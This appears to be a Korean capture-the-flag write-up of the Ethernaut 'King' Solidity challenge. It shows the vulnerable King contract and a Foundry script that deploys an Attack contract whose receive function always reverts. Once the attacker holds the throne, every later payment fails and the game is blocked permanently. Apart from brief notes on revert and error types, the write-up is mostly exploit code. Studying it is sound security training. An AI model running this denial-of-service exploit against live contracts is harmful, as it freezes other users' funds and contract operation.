Panic(unit)와 Error(string)의 두 기본 타입을 제공하며, 이외에 유저가 직접 커스텀 에러를 정의하는 것이 가능함revert 키워드를 사용해 발생시킬 수 있음// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
로직 정리
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {King} from "../src/King.sol";
contract Attack{
address public target;
constructor(address _target) payable {
target = _target;
}
function beKing() public payable{
payable(target).call{value: msg.value}("");
}
receive() external payable {
revert("No Hack!");
}
}
contract PoC is Script {
address public target = 0xE5a027E485E82B80f68Dda0964e9C013e66B805B;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
console.log(King(payable(target)).prize());
uint256 prize = (King(payable(target)).prize())+1;
Attack attack = new Attack(target);
attack.beKing{value: prize}();
vm.stopBroadcast();
}
}